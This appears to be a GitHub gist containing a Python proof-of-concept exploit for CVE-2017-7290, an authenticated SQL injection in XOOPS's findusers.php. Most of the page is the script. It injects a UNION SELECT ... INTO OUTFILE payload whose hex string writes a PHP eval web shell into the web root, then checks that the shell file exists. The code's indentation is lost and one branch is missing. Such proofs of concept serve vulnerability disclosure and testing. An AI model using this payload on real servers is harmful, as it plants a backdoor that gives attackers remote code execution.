Skip to content

Instantly share code, notes, and snippets.



Last active Apr 1, 2017
What would you like to do?
PoC: CVE-2017-7290
#!/usr/bin/env python
#-*- coding:utf8 -*-
# Python script runtime environment : 3.6
# Powered by Tiger Lee of Security Platform Department
CVE-2017-7290 POC
In the default installation configuration, you need administrator privileges can be implemented into the attack, when the database access permissions for root, you can use this vulnerability to write to the server backdoor file.
Source: findusers.php:466 Read $_POST['url']
Sink: findusers.php:238 $result = $this->db->query($sql);
Affected software: XOOPS ->
Free to modify and redistribute this program.
Use at your own risk and you are responsible for what you are doing.
import urllib.request
import urllib.parse
import time
requestHost = '' # Remote Url
requestUrl = requestHost + '/include/findusers.php'
requestSessionID = 'c9epb7lusi1fftasgbdj5vivv0' #Login sessionid
requestCookie = '_ga=GA1.4.132172316.1490766554; PHPSESSID=' + requestSessionID
url = ''
filename = 'cvetest.php'
filepath = 'D:/www/' + filename #Write shell directory
payload = url+"x%') union select 0x3C3F706870206576616C28245F504F53545B7A5D293B3F3E into outfile '"+ filepath +"'#"
data = urllib.parse.urlencode({'url': payload, 'user_submit': 'Submit'})
data = data.encode('utf-8')
request = urllib.request.Request(requestUrl)
'''adding charset parameter to the Content-Type header.'''
request.add_header("Cookie" , requestCookie)
f = urllib.request.urlopen(request, data)
r = urllib.request.urlopen(requestHost + filename)
if (r.getcode() == 200):
print('file found!')
print('no found!')
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment